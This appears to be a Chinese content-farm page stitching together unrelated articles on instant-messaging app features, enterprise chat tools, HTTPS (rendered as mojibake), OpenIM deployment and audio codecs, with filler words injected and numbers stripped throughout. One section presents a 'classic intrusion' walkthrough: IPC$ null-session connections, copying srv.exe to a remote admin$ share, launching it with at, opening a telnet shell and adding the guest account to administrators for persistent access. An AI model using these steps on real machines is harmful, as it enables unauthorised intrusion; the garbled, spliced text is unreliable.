1.开发im即时通讯app通常都具备哪些功能?混合混合
2.企业内部聊天软件有哪些?这10款im工具值得拥有
3.跪求cmd黑客攻击指令和cmd电脑命令!悬赏大大滴有
4.HTTPSçå®å
¨åç
5.重磅开源IM项目OpenIM部署流程简介-一键部署以及demo开放
6.声音数字化的加密加密过程分为哪三个步骤
开发im即时通讯app通常都具备哪些功能?
在开发即时通讯APP时,首要任务是源码源码明确目标用户和使用场景,分析用户需求和行为习惯。混合混合考虑因素包括但不限于用户年龄、加密加密职业、源码源码分时图画网格公式源码使用设备、混合混合使用场景及频率,加密加密以及竞争对手的源码源码优势与不足,以确定产品的混合混合差异化功能和定位。 即时通讯APP通常具备以下核心功能,加密加密以满足用户即时沟通与文件传输的源码源码需求: 文本聊天:支持实时发送与接收文本消息。 语音与视频通话:提供即时语音和视频聊天,混合混合分为一对一与群组形式。加密加密 文件传输:支持发送与接收多种类型文件,源码源码如、音频与视频。 表情与贴纸:内置丰富表情与贴纸,以丰富聊天内容。 群组聊天:允许创建与加入群组,进行多人聊天。 好友管理:支持添加、删除与修改好友,查看好友在线状态与个人信息。 消息记录:可查阅聊天记录。 消息提醒:通过声音、震动等方式通知用户接收新消息。 安全与隐私保护:采用加密与安全认证技术,保障用户信息安全与隐私。 个人资料设置:允许创建个人资料,更新状态与个人资料,并查看好友个人资料。 多平台支持:可在不同操作系统设备上运行,实现跨平台消息同步与即时通讯。 网易云信IM即时通讯服务依托于网易二十余年的技术积累,致力于打造稳定高效的即时通讯云平台。通过网易云信IM SDK,可以快速实现私信、即时聊天、消息通知、游戏对战通讯等稳定的消息传输能力,同时全面构建类似Discord、微信、子弹短信、易信等社交产品。 圈组是网易云信针对大型社群的创新功能,包括: 二级结构与频道管理:将大型社群拆分为不同兴趣话题,提升用户参与度与互动性。 身份组:实现权限的原子化与个性化,提高管理效率与灵活性。 个性化推送:针对用户行为与需求,定制化离线消息推送。 搜索功能:提供全方位内容搜索,支持自定义排序与智能搜索匹配。 消息子区:确保聊天内容完整,维持群内秩序。 表情快捷回复:方便用户快速回复,溯源码优势提高参与度。 网易云信提供融合通信与视频的核心服务,包括即时通讯、信令、短信等通信服务,音视频通话、直播、点播、互动直播与互动白板等音视频服务,以及安全通信解决方案安全通。其产品与服务适用于文娱、社交、教育、医疗等行业,支持公有云、专属云、私有云与混合云等多种部署方式。 了解更多音视频产品与解决方案,请访问网易云信官网(官网链接)。企业内部聊天软件有哪些?这款im工具值得拥有
企业内部的即时通讯工具,如喧喧IM聊天软件,以促进简明交流和信息快速共享为显著优点,相比电子邮件,它提供了更快的沟通效率和更高的关注度。这类工具特别适合远程或混合办公环境,操作简单,对技术要求低。 本文将为您推荐款实用的企业内部聊天软件:1. 喧喧IM
兼容平台:Android、iOS、Windows、macOS、Linux、Web特点:支持一对一和群组聊天,提供丰富的消息类型和群管理功能,卡片信息方便处理链接,音视频会议功能齐全,桌面共享便捷,协作文档实时协作,右键菜单扩展功能丰富,webHook方便集成其他系统通知,内置web应用易扩展,单点登录更安全,聊天内容全程加密。
Brosix
适用于:Windows、macOS、iOS、Android、Linux、Web作为全功能商务解决方案,提供动态生产力工具、强大安全性和全面管理控制,支持语音视频、屏幕共享和文件传输,保证安全的团队通信。
总的来说,这些企业IM工具提供了从一对一沟通到团队协作的快推源码全方位解决方案,适应了现代企业对高效沟通和安全性的需求。选择适合您团队的工具,可以显著提升工作效率和沟通质量。跪求cmd黑客攻击指令和cmd电脑命令!悬赏大大滴有
一 相关命令
建立空连接:
net use \\IP\ipc$ "" /user:"" (一定要注意:这一行命令中包含了3个空格)
建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码" (同样有3个空格)
映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名" (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$
删除一个ipc$连接
net use \\IP\ipc$ /del
删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认
提示:对于不熟悉命令行操作的朋友来说.建立ipc$连接后,可以在"我的电脑"或"网上邻居"右键映射网络驱动器,效果一样.
二 经典入侵模式
1. C:\>net use \\.0.0.1\IPC$ "" /user:"admintitrators"
这是用《流光》扫到的用户名是administrators,密码为"空"的IP地址(空口令?哇,运气好到家了),如果是打算攻击的话,就可以用这样的命令来与.0.0.1建立一个连接,因为密码为"空",所以第一个引号处就不用输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
2. C:\>copy srv.exe \\.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
3. C:\>net time \\.0.0.1
查查时间,发现.0.0.1 的当前时间是 /3/ 上午 :,命令成功完成。
4. C:\>at \\.0.0.1 : srv.exe
用at命令启动srv.exe吧(这里设置的时间要比主机时间快,不然你怎么启动啊,呵呵!)
5. C:\>net time \\.0.0.1
再查查到时间没有?如果.0.0.1 的当前时间是 /3/ 上午 :,那就准备开始下面的命令。
6. C:\>telnet .0.0.1
这里会用到Telnet命令吧,注意端口是。Telnet默认的是端口,但是我们使用的是SRV在对方计算机中为我们建立一个端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
7.C:\>copy ntlm.exe \\.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
8. C:\WINNT\system>ntlm
输入ntlm启动(这里的C:\WINNT\system>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!
9.Telnet .0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)
为了以防万一,我们再把guest激活加到管理组
. C:\>net user guest /active:yes
将对方的Guest用户激活
. C:\>net user guest
将Guest的密码改为,或者你要设定的密码
. C:\>net localgroup administrators guest /add
将Guest变为Administrator^_^(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机).
ipc$经典入侵步骤:
1、net use \\ip\ipc$ 密码 /user:用户名
2、copy 文件名 \\ip\c$
3、net time \\ip
4、at \\ip 时间 命令
5、入侵成功,连接你的网页源码编程肉鸡
常用的网络命令
net user 查看用户列表
net user 用户名 密码 /add 添加用户
net user 用户名 密码 更改用户密码
net localgroup administrators 用户名 /add 添加用户到管理组
net user 用户名 /delete 删除用户
net user 用户名 查看用户的基本情况
net user 用户名 /active:no 禁用该用户
net user 用户名 /active:yes 启用该用户
net share 查看计算机IPC$共享资源
net share 共享名 查看该共享的情况
net share 共享名=路径 设置共享。例如 net share c$=c:
net share 共享名 /delete 删除IPC$共享
net stop lanmanserver 关闭ipc$和默认共享依赖的服务
net use 查看IPC$连接情况
net use \\ip\ipc$ "密码" /user:"用户名" ipc$连接
net use \\ip\ipc$ /del 删除一个连接
net use z: \\目标IP\c$ "密码" /user:"用户名" 将对方的c盘映射为自己的z盘
net use z: /del
net time \\ip 查看远程计算机上的时间
copy 路径:\文件名 \\ip\共享名复制文件到已经ipc$连接的计算机上
net view ip 查看计算机上的共享资源
at 查看自己计算机上的计划作业
at \\ip 查看远程计算机上的计划作业
at \\ip 时间 命令(注意加盘符) 在远程计算机上加一个作业
at \\ip 计划作业ID /delete 删除远程计算机上的一个计划作业
at \\ip all /delete 删除远程计算机上的全部计划作业
at \\ip time "echo 5 > c:\t.txt" 在远程计算机上建立文本文件t.txt;
下面纯手打,上面是度娘给的
taskkill /im 进程名 停止运行
tasklisy 查看运行进程
ipconfig 查看本机IP
md 创建文件夹
rd 删除文件夹
echo off > .txt|exit 添加文本
echo 内容 >> .txt 给文本添加内容
copy 复制文件
net user 用户名 密码/add 创建一个普通账号
net localgroup administrators 用户名 /add 把账户加入超级用户组
HTTPSçå®å ¨åç
HTTPS并éæ¯åºç¨å±çä¸ç§æ°åè®®ãåªæ¯HTTPéä¿¡æ¥å£é¨åç¨SSLåTLSå议代æ¿èå·²ãé常ï¼HTTPç´æ¥åTCPéä¿¡ãå½ä½¿ç¨SSLæ¶ï¼åæ¼åæå åSSLéä¿¡ï¼åç±SSLåTCPéä¿¡äºãç®è¨ä¹ï¼æè°HTTPSï¼å ¶å®å°±æ¯èº«æ«SSLåè®®è¿å±å¤å£³çHTTPã
å¨éç¨SSLåï¼HTTPå°±æ¥æäºHTTPSçå å¯ãè¯ä¹¦åå®æ´æ§ä¿æ¤è¿äºåè½ãä¹å°±æ¯è¯´HTTPå ä¸å å¯å¤çå认è¯ä»¥åå®æ´æ§ä¿æ¤åå³æ¯HTTPSã
HTTPS åè®®ç主è¦åè½åºæ¬é½ä¾èµäº TLS/SSL åè®®ï¼TLS/SSL çåè½å®ç°ä¸»è¦ä¾èµäºä¸ç±»åºæ¬ç®æ³ï¼æ£åå½æ° ã对称å å¯åé对称å å¯ï¼å ¶å©ç¨é对称å å¯å®ç°èº«ä»½è®¤è¯åå¯é¥ååï¼å¯¹ç§°å å¯ç®æ³éç¨ååçå¯é¥å¯¹æ°æ®å å¯ï¼åºäºæ£åå½æ°éªè¯ä¿¡æ¯çå®æ´æ§ã
1ã解å³å 容å¯è½è¢«çªå¬çé®é¢ââå å¯
æ¹æ³1.对称å å¯
è¿ç§æ¹å¼å å¯å解å¯åç¨ä¸ä¸ªå¯é¥ãå å¯å解å¯é½ä¼ç¨å°å¯é¥ã没æå¯é¥å°±æ æ³å¯¹å¯ç 解å¯ï¼åè¿æ¥è¯´ï¼ä»»ä½äººåªè¦ææå¯é¥å°±è½è§£å¯äºã
以对称å å¯æ¹å¼å å¯æ¶å¿ é¡»å°å¯é¥ä¹åç»å¯¹æ¹ãå¯ç©¶ç«ææ ·æè½å®å ¨å°è½¬äº¤ï¼å¨äºèç½ä¸è½¬åå¯é¥æ¶ï¼å¦æé信被çå¬é£ä¹å¯é¥å°±å¯ä¼è½äººæ»å»è ä¹æï¼åæ¶ä¹å°±å¤±å»äºå å¯çæä¹ãå¦å¤è¿å¾è®¾æ³å®å ¨å°ä¿ç®¡æ¥æ¶å°çå¯é¥ã
æ¹æ³2.é对称å å¯
å ¬å¼å¯é¥å å¯ä½¿ç¨ä¸å¯¹é对称çå¯é¥ãä¸æå«åç§æå¯é¥ï¼å¦ä¸æå«åå ¬å¼å¯é¥ã顾åæä¹ï¼ç§æå¯é¥ä¸è½è®©å ¶ä»ä»»ä½äººç¥éï¼èå ¬å¼å¯é¥åå¯ä»¥éæåå¸ï¼ä»»ä½äººé½å¯ä»¥è·å¾ã
使ç¨å ¬å¼å¯é¥å å¯æ¹å¼ï¼åéå¯æçä¸æ¹ä½¿ç¨å¯¹æ¹çå ¬å¼å¯é¥è¿è¡å å¯å¤çï¼å¯¹æ¹æ¶å°è¢«å å¯çä¿¡æ¯åï¼å使ç¨èªå·±çç§æå¯é¥è¿è¡è§£å¯ãå©ç¨è¿ç§æ¹å¼ï¼ä¸éè¦åéç¨æ¥è§£å¯çç§æå¯é¥ï¼ä¹ä¸å¿ æ å¿å¯é¥è¢«æ»å»è çªå¬èçèµ°ã
é对称å å¯çç¹ç¹æ¯ä¿¡æ¯ä¼ è¾ä¸å¯¹å¤ï¼æå¡å¨åªéè¦ç»´æä¸ä¸ªç§é¥å°±è½å¤åå¤ä¸ªå®¢æ·ç«¯è¿è¡å å¯éä¿¡ã
sè¿ç§æ¹å¼æ以ä¸ç¼ºç¹ï¼
æ¹æ³3.对称å å¯+é对称å å¯(HTTPSéç¨è¿ç§æ¹å¼)
使ç¨å¯¹ç§°å¯é¥ç好å¤æ¯è§£å¯çæçæ¯è¾å¿«ï¼ä½¿ç¨é对称å¯é¥ç好å¤æ¯å¯ä»¥ä½¿å¾ä¼ è¾çå 容ä¸è½è¢«ç ´è§£ï¼å 为就ç®ä½ æ¦æªå°äºæ°æ®ï¼ä½æ¯æ²¡æ对åºçç§é¥ï¼ä¹æ¯ä¸è½ç ´è§£å 容çãå°±æ¯å¦è¯´ä½ æ¢å°äºä¸ä¸ªä¿é©æï¼ä½æ¯æ²¡æä¿é©æçé¥åä¹ä¸è½æå¼ä¿é©æãé£æ们就å°å¯¹ç§°å å¯ä¸é对称å å¯ç»åèµ·æ¥,å åå©ç¨ä¸¤è åèªçä¼å¿ï¼å¨äº¤æ¢å¯é¥ç¯è使ç¨é对称å å¯æ¹å¼ï¼ä¹åç建ç«é信交æ¢æ¥æé¶æ®µå使ç¨å¯¹ç§°å å¯æ¹å¼ã
å ·ä½åæ³æ¯ï¼åéå¯æçä¸æ¹ä½¿ç¨å¯¹æ¹çå ¬é¥è¿è¡å å¯å¤çâ对称çå¯é¥âï¼ç¶å对æ¹ç¨èªå·±çç§é¥è§£å¯æ¿å°â对称çå¯é¥âï¼è¿æ ·å¯ä»¥ç¡®ä¿äº¤æ¢çå¯é¥æ¯å®å ¨çåæä¸ï¼ä½¿ç¨å¯¹ç§°å å¯æ¹å¼è¿è¡éä¿¡ãæ以ï¼HTTPSéç¨å¯¹ç§°å å¯åé对称å å¯ä¸¤è 并ç¨çæ··åå å¯æºå¶ã
2ã解å³æ¥æå¯è½é篡æ¹é®é¢ââæ°åç¾å
ç½ç»ä¼ è¾è¿ç¨ä¸éè¦ç»è¿å¾å¤ä¸é´èç¹ï¼è½ç¶æ°æ®æ æ³è¢«è§£å¯ï¼ä½å¯è½è¢«ç¯¡æ¹ï¼é£å¦ä½æ ¡éªæ°æ®çå®æ´æ§å¢ï¼----æ ¡éªæ°åç¾åã
æ°åç¾åæ两ç§åæï¼
æ°åç¾åå¦ä½çæ:
å°ä¸æ®µææ¬å ç¨Hashå½æ°çææ¶æ¯æè¦ï¼ç¶åç¨åéè çç§é¥å å¯çææ°åç¾åï¼ä¸åææä¸èµ·ä¼ éç»æ¥æ¶è ãæ¥ä¸æ¥å°±æ¯æ¥æ¶è æ ¡éªæ°åç¾åçæµç¨äºã
æ ¡éªæ°åç¾åæµç¨ï¼
æ¥æ¶è åªæç¨åéè çå ¬é¥æè½è§£å¯è¢«å å¯çæè¦ä¿¡æ¯ï¼ç¶åç¨HASHå½æ°å¯¹æ¶å°çåæ产çä¸ä¸ªæè¦ä¿¡æ¯ï¼ä¸ä¸ä¸æ¥å¾å°çæè¦ä¿¡æ¯å¯¹æ¯ãå¦æç¸åï¼å说ææ¶å°çä¿¡æ¯æ¯å®æ´çï¼å¨ä¼ è¾è¿ç¨ä¸æ²¡æ被修æ¹ï¼å¦å说æä¿¡æ¯è¢«ä¿®æ¹è¿ï¼å æ¤æ°åç¾åè½å¤éªè¯ä¿¡æ¯çå®æ´æ§ã
å设æ¶æ¯ä¼ éå¨Kobeï¼James两人ä¹é´åçãJameså°æ¶æ¯è¿åæ°åç¾åä¸èµ·åéç»Kobeï¼Kobeæ¥æ¶å°æ¶æ¯åï¼éè¿æ ¡éªæ°åç¾åï¼å°±å¯ä»¥éªè¯æ¥æ¶å°çæ¶æ¯å°±æ¯Jamesåéçãå½ç¶ï¼è¿ä¸ªè¿ç¨çåææ¯Kobeç¥éJamesçå ¬é¥ãé®é¢çå ³é®çæ¯ï¼åæ¶æ¯æ¬èº«ä¸æ ·ï¼å ¬é¥ä¸è½å¨ä¸å®å ¨çç½ç»ä¸ç´æ¥åéç»Kobe,æè 说æ¿å°çå ¬é¥å¦ä½è¯ææ¯Jamesçã
æ¤æ¶å°±éè¦å¼å ¥äºè¯ä¹¦é¢åæºæï¼Certificate Authorityï¼ç®ç§°CAï¼ï¼CAæ°é并ä¸å¤ï¼Kobe客æ·ç«¯å ç½®äºææåä¿¡ä»»CAçè¯ä¹¦ãCA对Jamesçå ¬é¥ï¼åå ¶ä»ä¿¡æ¯ï¼æ°åç¾ååçæè¯ä¹¦ã
3ã解å³éä¿¡æ¹èº«ä»½å¯è½è¢«ä¼ªè£ çé®é¢ââæ°åè¯ä¹¦
æ°åè¯ä¹¦è®¤è¯æºæå¤äºå®¢æ·ç«¯ä¸æå¡å¨åæ¹é½å¯ä¿¡èµç第ä¸æ¹æºæçç«åºä¸ã
æ们æ¥ä»ç»ä¸ä¸æ°åè¯ä¹¦è®¤è¯æºæçä¸å¡æµç¨ï¼
1.Clientåèµ·ä¸ä¸ªHTTPSï¼æ¯å¦ pose版本1.以上。
1. 克隆项目仓库。 2. 检测环境配置。 3. 拉取镜像并启动服务。 4. 检查服务状态。 5. 开放端口:(消息)、(API)、(jssdk专用)、(短信验证码端口)、(邮箱验证码端口)。 部署更新 关闭服务,拉取最新配置文件和脚本文件,拉取新镜像,重新启动服务,检查更新状态。 请注意:系统支持Linux,可用内存2G以上,确保git pull获取最新配置,避免本地文件与远程文件不一致。尽量不要混合启动和自行build,以免出现本地二进制文件、配置文件不一致的情况。 关于我们 托云信息技术(成都)有限公司致力于通过开源模式为全球企业提供简单、高效、易用的IM服务和实时音视频通讯能力,帮助开发者降低项目开发成本,同时确保数据安全和隐私。 开源的价值 公司自成立以来,将开源作为核心战略,体现了互联网精神的自由、平等、分享。面对数据安全挑战,OpenIM开源与私有化部署模式为企业提供更安全的数据保护。 我们的团队 创始团队由IM技术专家组成,专注于打造轻量级、高可用的IM架构,简化开发者集成过程,让应用具备IM功能,同时考虑接入成本、服务器资源和数据安全。 商业合作 了解更多信息,请加入官方qq群:,或访问tg群:t.me/joinchat/zSJLPaHBN...声音数字化的过程分为哪三个步骤
1、引言
就音频而言,无论是算法多样性,Codec种类还是音频编解码复杂程度都远远比视频要高。视频的Codec目前还主要是以宏块为处理单元,预测加变换的混合编码框架,例如H.和H.都是在这一框架下。而音频则相当复杂,且不同的场景必须要选择不同的音频编解码器。以下就是本次为大家分享的主要内容,希望通过此次分享可以使大家对音频编解码有一个整体的认识,并在实际应用中有参考的lps公式源码依据。
本次分享的内容提纲:
1)语音/音频编码总表;
2)数字语音基本要素;
3)为什么要压缩;
4)编码器考虑的因素;
5)语音经典编码模型;
6)ISO;
7)编码模型;
8)USAC;
9)编码;
)使用选型考虑的因素。
* 本次演讲PPT文稿,请从文末附件下载!
(本文同步发布于:
/thread--1-1.html)
2、分享者
刘华平:
- 现为网易云音乐音视频实验室负责人,上海大学通信学院在职博士;
- 曾任掌门集团(WIFI万能钥匙)音视频技术研发总监,资深研究员;
- 行者悟空声学技术有限公司首席技术官(联合创始人);
- 阿里巴巴前高级技术专家(P8), 阿里音乐音视频部门总监;
- Visualon音频部门经理、盛大创新院研究员、Freescale 上海研发中心多媒体部门;
- 早期 Google Android SDK多媒体架构的贡献者,开源 AMR_WB 编码器工程开发者。
刘华平拥有5项技术发明专利、二十余篇专业论文和多项软件著作权,参与过浙江省杭州重大专项项目,浙江省金华科委项目,上海市科委项目(球谐域全景音频关键技术研究)。
3、系列文章
本文是系列文章中的第篇,本系列文章的大纲如下:
《即时通讯音视频开发(一):视频编解码之理论概述》
《即时通讯音视频开发(二):视频编解码之数字视频介绍》
《即时通讯音视频开发(三):视频编解码之编码基础》
《即时通讯音视频开发(四):视频编解码之预测技术介绍》
《即时通讯音视频开发(五):认识主流视频编码技术H.》
《即时通讯音视频开发(六):如何开始音频编解码技术的学习》
《即时通讯音视频开发(七):音频基础及编码原理入门》
《即时通讯音视频开发(八):常见的实时语音通讯编码标准》
《即时通讯音视频开发(九):实时语音通讯的回音及回音消除概述》
《即时通讯音视频开发(十):实时语音通讯的回音消除技术详解》
《即时通讯音视频开发(十一):实时语音通讯丢包补偿技术详解》
《即时通讯音视频开发(十二):多人实时音视频聊天架构探讨》
《即时通讯音视频开发(十三):实时视频编码H.的特点与优势》
《即时通讯音视频开发(十四):实时音视频数据传输协议介绍》
《即时通讯音视频开发(十五):聊聊P2P与实时音视频的应用情况》
《即时通讯音视频开发(十六):移动端实时音视频开发的几个建议》
《即时通讯音视频开发(十七):视频编码H.、V8的前世今生》
《即时通讯音视频开发(十八):详解音频编解码的原理、演进和应用选型》(本文)
4、语言/音频编码总表
▲ 语言/音频编码总表
上图展示的是语言/音频编码总表,可以看到其比视频编码要复杂得多,单纯的算法也远远比视频要更加复杂。
5、数字语言基本要素
数字声音具有三个要素:
1)采样率;
2)通道数;
3)量化位数。
▲ 声音数字化的过程
如上图所示,声音数字化的过程为:
1)采样:在时间轴上对信号数字化;
2)量化:在幅度轴上对信号数字化;
3)编码:按一定格式记录采样和量化后的数字数据。
6、为什么要压缩
压缩音频,主要是为了在降低带宽负担的同时为视频腾出更多带宽空间。存储和带宽二大因素决定了语音压缩的必要性。
我们看看下面的例子。
长度为4分钟,采样频率为Hz,采样深度为bits,双声音Wav文件大小:
Hz*bits*4minutes*2=(/1second)*bits*(4minutes*(seconds/1minutes)*2=bits/second*seconds=bits=/(8bits/1byte)*2=bytes=/(/1M)bytes=.MB
MP3,kbps压缩后文件大小:
kbps*4minutes=(kbits/1second)*(4minutes*(seconds/1minutes))=(kbits/1second)*seconds=kbits=kbits/(8bits/1byte)=kbytes=k/(k/1M)bytes=3.Mbytes=3.MB
正如上面的例子,声音压缩后,存储大小为原大小的十分之一,压缩率十分可观!
7、编码器考虑因素
7.1 基本概念
编码器考虑的因素:
1)最佳压缩比;
2)算法的复杂度;
3)算法延时;
4)针对特殊场景下的特定设计;
5)兼容性。
通过一些特定的压缩算法,可以压缩音频文件至原来的1/,同时人耳也无法分辨压缩前后的声音质量差异,需要满足多种条件才能实现这种效果;而对于编码器,无论是设计阶段还是使用阶段,我们都需要考虑最佳压缩效果、算法的复杂度与算法的延时,结合特殊场景进行特定的设计;而兼容性也是我们不能不考虑的重点。
7.2 语音经典编码模型:发音模型
▲ 发音模型(原图点击查看)
我们的很多编解码器都是基于综合人的发音模型与一些和听觉相关的理论支持研究提出的特定编解码算法。初期我们通过研究人的发音原理来设计音频编解码的算法,包括端到端的滤波或轻浊音等,只有充分理解人的发声原理我们才能在编解码端做出有价值的优化。
7.2.1语音编码模型——LPC:
▲ 经典语音编码模型:LPC(原图点击查看)
▲ LPC 数学表达
LPC作为经典语音编码模式,其本质是一个线性预测的过程。早期的G.7系列编码模型便是通过此模型对整个语音进行编码,上图展示的过程可与之前的人发声过程进行匹配,每个环节都有一个相应的模块用来支撑人发声的过程。其中使用了AR数学模型进行线性预测,此算法也是现在很多语音编码的重要组成模块。
7.2.2语音编码模型——G.:
▲经典语音编码模型: G.(CELP)
G.同样是经典的语音编码模型之一,也是我们学习语音编码的一个入门级Codec。G.的文档十分完善,包括每个模块的源代码在内都可直接下载。G.可以说是在早期发声模型基础上的改进,需要关注的性能指标是帧长与算法上的延时,包括语音质量的MOS分。G.也有很多变种,由于语音需要考虑系统兼容性,不同的系统指定携带的Codec也不同,音频编码的复杂程度要远高于视频编码。
G. 建议了共轭结构的算术码本激励线性预测(CS-ACELP)编码方案。G.算法的帧长为ms, 编码器含5ms 前瞻,算法时延ms,语音质量MOS分可达4.0。
7.3 语音经典编码模型——听觉模型
▲ ISO编码模型:心理声学模型
除了研究人发声的原理,我们还需要研究人听声的原理,从而更好实现声音的收集与处理。一个声音信号是否能被人耳听见主要取决于声音信号的频率、强度与其他音的干扰。心理声学模型便是用来找出音频信号中存在的冗余信息从而实现在压缩声音信号的同时不影响听觉的目的。心理声学理论的成熟为感知编码系统奠定了理论基础,这里的感知编码主要是ISO编码模型,主要覆盖的声学原理有临界频带、绝对听觉阈值、频域掩蔽、时域掩蔽等。
▲ 听觉模型
无论是MP3还是AAC以至于到后面的杜比音效都是基于听觉模型进行的探索与创新。
7.3.1临界频带:
由于声音频率与掩蔽曲线不是线性关系,为从感知上来统一度量声音频率,引入了“临界频带”的概念。通常认为,在Hz到kHz范围内有个监界频带。临界频带的单位叫Bark(巴克)。
▲ 临界频带
临界频带主要用于心理声学模型。由于声音频率与掩蔽曲线并非线性关系,为从感知上来统一度量声音频率,我们引入了“临界频带”的概念。人耳对每段的某个频率的灵敏度不同,二者关系是非线性的。通常我们会将人可以听到的整个频率也就是从Hz到KHz分为个频带,可在其中进行时域或频域类的掩蔽,将一些冗余信息从编码中去除从而有效提升压缩率。
7.3.2绝对听觉阈值:
▲ 绝对听觉阈值
绝对听觉阈值也可有效提升压缩率,基于心理声学模型,可去除编码中的冗余部分。
7.4 经典音频编码:ISO
▲ 经典音频编码:ISO
我们可将最早的MP3 Layer1理解为第一代的ISO感知编码,随后的一些纯量化内容更多的是在压缩上进行改进而核心一直未改变。从MP3 Layer1到Layer2与Layer3,主要的改变是心理声学模型的迭代。
▲ MPEG1 LayerI Codec
▲ MPEG1 LayerIII Codec
上图展示的是Encode与Decode的回路。输入的PCM首先会经过多子带分析与频域中的心理声学模型冗余处理,而后进行量化编码;Layer III中的是我们现在常说的MP3的Codec:Encode与Decode之间的整体回路,相比于Layer1多了几个处理环节以及霍夫曼编码。
7.5 AAC协议族
▲ AAC家族
AAC与G.一样包括很多系列,但AAC的巧妙之处在于向下兼容的特性。开始时我们就强调,所有Codec在设计时都需要考虑兼容性,瑞典的Coding Technology公司曾提出在兼容性上特别优化的方案。AAC Plus V1包括AAC与SBR,AAC Plus V2包括AAC+SBR+PS,现在常见的很多音乐类或直播音频编码都是基于AAC Plus协议族进行的。
德国的霍朗浦学院曾在AAC低延时协议扩展方面做出一些探索并得到了AAC LD协议族,其原理仍基于传统的AAC模块,但在后端会对处理长度进行调整,例如之前是以bit为一个处理单位,那改进后则以bit为一个处理单位。除此之外AAC LD加入了LD-SBR与LD-MPS等,从而形成一个规模较大的AAC-ELD V2模块,可以说是十分巧妙。
7.5.1AACPlus核心模块——SBR(Spectral Band Replication):
▲ SBR(Spectral Band Replication)
我们可以看到,AAC可以说充分利用了频域扩展,用很小的代价实现诸多功能优化。AAC的核心之一是SBR,这是一种使用极少位数就可描述高频部分并在解码时进行特殊优化从而实现频域扩展的模块。上图展示的是不同压缩率模块所覆盖的频率取值范围,而使用AAC时需要注意一个被称为“甜点码率”的指标。无论是采样率还是码率都是变化的,在应用时选择何种码率十分关键。例如直播时采用Kbps即可在覆盖整个频段的同时保持良好音质。
7.5.2AACPlus核心模块——PS(Parametric Stereo):
▲ :PS(Parametric Stereo)
PS 描述参数:IID(Inter-channel Intensity Difference),,ICC(Inter-channel Cross-Correlation),IPD(Inter-channel Phase Difference)。
▲ AACPlus v2编码框图
▲ AACPlus v2解码框图
PS模块也是AAC的核心模块之一,主要用于分析左右声道属性并使用非常少的位数表示左右声道相关性,而后在解码端将左右声道分离。这里比较巧妙的是PS的向下兼容特性,整体数据打包是分开进行的。如果获取到AAC、SBR、PS三者的基本数据包后,在解码阶段我们就只需AAC—LC。上图展示的就是AAC的解码框架,如果大家读过3GPP的代码就可发现其每一个模块都相当清楚。我们可根据文档读取代码并对应到每一个环节。
7.5.3甜点码率:
▲ AAC 甜点码率
甜点码率是一项很关键的指标。例如在手机直播应用场景中,一般的视频分辨率为×,音频码率大约在K左右。如果音频码率过大则会直接影响视频质量,因而我们需要控制音频码率在一个较为合适的范围内从而实现最佳的音画效果。在很多应用场景中可能需要系统根据不同的网络环境下载不同音质的文件,例如在2G环境中下载较小的文件,这样做主要是为了节省带宽并提高音频文件的播放流畅程度。
7.6 AAC-ELD家族
AAC-ELD家族产生背景:
aacplus v2 已经在压缩和音质方面做到了近似于极致,但由于算法实现上的长达ms左右的延时极大的阻碍aacplus v2在实时通讯领域的应用。Fraunhofer IIS 为了解决这个问题,对AAC进行相关改进,形成了AAC-ELD协议族。
▲ AAC-ELD家族
AAC-ELD家族带来的主要改进是低延迟。如果Codec的延迟太长便无法在一些特定场景中被使用。例如早期AAC Plus V2的整体延迟可达ms,如此高的延迟肯定无法被应用于语音通话等对实时性要求极高的应用场景。霍朗普学院推出的AAC-ELD可在保持音质的前提下将延迟降低至ms,相对于MP3最高长达ms的延迟而言提升巨大。
7.7 应用中端到端的延迟
▲ 端到端的延时
编解码过程也存在延时问题,这也是我们选择编解码器时需要考虑的最主要因素之一,编解码的延时主要由处理延时与算法延时组成,例如G.的算法延时为ms,而AAC-LC可达到一百毫秒以上。另外,播放端或采集端的长帧数量太多,播放时缓存太多等也会直接影响延时,我们在选择编解码器时需要考虑延时带来的影响。
编解码器已经历了两个发展方向:
1)一个是以G.7(G.)为例,根据发声模型设计的一套主要集中于语音方面的编解码算法;
2)另一个是以ISO的MP3和AAC为例,根据心理声学模型设计的一套感知编码。
最近的趋势是编码的统一:
原来在语音场景下我们使用8K或K进行采样,音乐场景下则需使用覆盖到全频带的.1K进行采样,每个Codec都有一个频域覆盖的范围。在之前的开发中,如果应用场景仅针对压缩语音那么需要选择语音编码方案,如果应用场景针对压缩音乐则需要选择音乐编码方案,而现在的发展方向是通过一套编码从容应对语音与音乐两个应用场景,这就是接下来将要被提到的USAC。
这里介绍两个比较典型的Codec:
1)一个是Opus,通过其中集成的模块可实现根据传入音频文件的采样率等属性自动选择语音编码或音乐编码;
2)另一个是EVS这也是霍朗普等组织推行的方案,已经尝试用于4G或5G之中。
EVS (Enhanced Voice Services):
主要是VoiceAge, Dolby, Fraunhofer, 华为联合开发的USAC编码器,低速率音乐编码质量很好。
▲ USAC
由框图我们可以了解到USAC向下兼容的特性。
编解码器可总结为经历了三个时代:
1)发声模型;
2)听觉感知;
3)融合方案。
接下来我将展示目前所有的Codec情况并整理为表格以方便大家检索查阅。
8、解码器(Codec)总结
8.1 IETF系列
